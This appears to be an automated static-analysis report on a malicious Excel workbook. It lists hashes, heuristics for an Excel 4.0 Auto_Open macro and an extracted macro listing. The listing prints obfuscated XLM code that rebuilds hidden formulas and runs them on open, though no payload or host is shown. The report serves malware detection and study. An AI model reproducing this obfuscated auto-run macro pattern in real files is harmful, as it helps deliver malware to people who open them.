Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9734560951611a68…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:42:00 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 6c983e40b827a454471d64aef70e6ade SHA-1: e1a32a49d2a680fc86047aaca7432b0cff71f393 SHA-256: 9734560951611a687c2f58c4cd983102b1d7580b6e9aa102fba29f10f60509f7
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6574 bytes
SHA-256: 35ab9598e56ec776af4a57d0d2c72aa3382769bf57e67b987239a3dc62a632b9
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  UtfCHthD
' 0018     21 LABEL : Cell Value, String Constant - Aalilm len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F159 
' 0018     22 LABEL : Cell Value, String Constant - cGxHCBt len=0 
' 0018     24 LABEL : Cell Value, String Constant - ClDynxfzq len=0 
' 0018     21 LABEL : Cell Value, String Constant - eWOWIw len=0 
' 0018     21 LABEL : Cell Value, String Constant - hHsAJt len=0 
' 0018     24 LABEL : Cell Value, String Constant - hjpootsAs len=0 
' 0018     24 LABEL : Cell Value, String Constant - jcWHqjLDl len=0 
' 0018     26 LABEL : Cell Value, String Constant - kcMDGIsCAPk len=0 
' 0018     22 LABEL : Cell Value, String Constant - MeGXRqq len=0 
' 0018     22 LABEL : Cell Value, String Constant - naUDKBx len=0 
' 0018     20 LABEL : Cell Value, String Constant - pHJZM len=0 
' 0018     23 LABEL : Cell Value, String Constant - RNgIrJqe len=0 
' 0018     23 LABEL : Cell Value, String Constant - SLCruCkC len=0 
' 0018     22 LABEL : Cell Value, String Constant - TICurqX len=0 
' 0018     20 LABEL : Cell Value, String Constant - tjEXR len=0 
' 0018     26 LABEL : Cell Value, String Constant - tTujmxGdtbW len=0 
' 0018     25 LABEL : Cell Value, String Constant - ulrLgBmNXs len=0 
' 0018     24 LABEL : Cell Value, String Constant - VaGhXkpPv len=0 
' 0018     24 LABEL : Cell Value, String Constant - xkfAzMxyo len=0 
' 0018     23 LABEL : Cell Value, String Constant - ZsAEaiQs len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  UtfCHthD,F70,"SET.NAME("ulrLgBmNXs",VALUE("0"))",""
'  UtfCHthD,F74,"SET.NAME("ZsAEaiQs",ulrLgBmNXs)",""
'  UtfCHthD,F78,"SET.NAME("ClDynxfzq",ulrLgBmNXs)",""
'  UtfCHthD,F81,"SET.NAME("Aalilm",COUNTA(xkfAzMxyo))",""
'  UtfCHthD,F85,"SET.NAME("pHJZM",COUNTA(cGxHCBt))",""
'  UtfCHthD,F90,[],""
'  UtfCHthD,F93,"SET.NAME("SLCruCkC","")",""
'  UtfCHthD,F96,"ZsAEaiQs",""
'  UtfCHthD,F101,"SET.NAME("hjpootsAs",HLOOKUP("*",xkfAzMxyo,ZsAEaiQs,FALSE))",""
'  UtfCHthD,F104,"tTujmxGdtbW",""
'  UtfCHthD,F107,"SET.NAME("jcWHqjLDl",ulrLgBmNXs)",""
'  UtfCHthD,F110,[],""
'  UtfCHthD,F113,"jcWHqjLDl",""
'  UtfCHthD,F116,"eWOWIw",""
'  UtfCHthD,F119,"VaGhXkpPv",""
'  UtfCHthD,F121,"RNgIrJqe",""
'  UtfCHthD,F124,"SET.NAME("TICurqX",VALUE(HLOOKUP("*",cGxHCBt,RNgIrJqe,FALSE)))",""
'  UtfCHthD,F127,"hHsAJt",""
'  UtfCHthD,F130,"SLCruCkC",""
'  UtfCHthD,F135,"ClDynxfzq",""
'  UtfCHthD,F140,NEXT(),""
'  UtfCHthD,F143,"naUDKBx",""
'  UtfCHthD,F145,"SET.NAME("f",INT(T(FORMULA(T(SLCruCkC)&"",""&T(naUDKBx)))))",""
'  UtfCHthD,F150,"kcMDGIsCAPk",""
'  UtfCHthD,F153,NEXT(),""
'  UtfCHthD,F156,RETURN(),""
'  UtfCHthD,F185,"SET.NAME("tjEXR",F70)",""
'  UtfCHthD,F189,"xkfAzMxyo",""
'  UtfCHthD,F191,"SET.NAME("cGxHCBt",R54C11)",""
'  UtfCHthD,F195,"SET.NAME("kcMDGIsCAPk",205)",""
'  UtfCHthD,F200,"SET.NAME("MeGXRqq",6)",""
'  UtfCHthD,F204,tjEXR(),""
'  UtfCHthD,F205,HALT(),""

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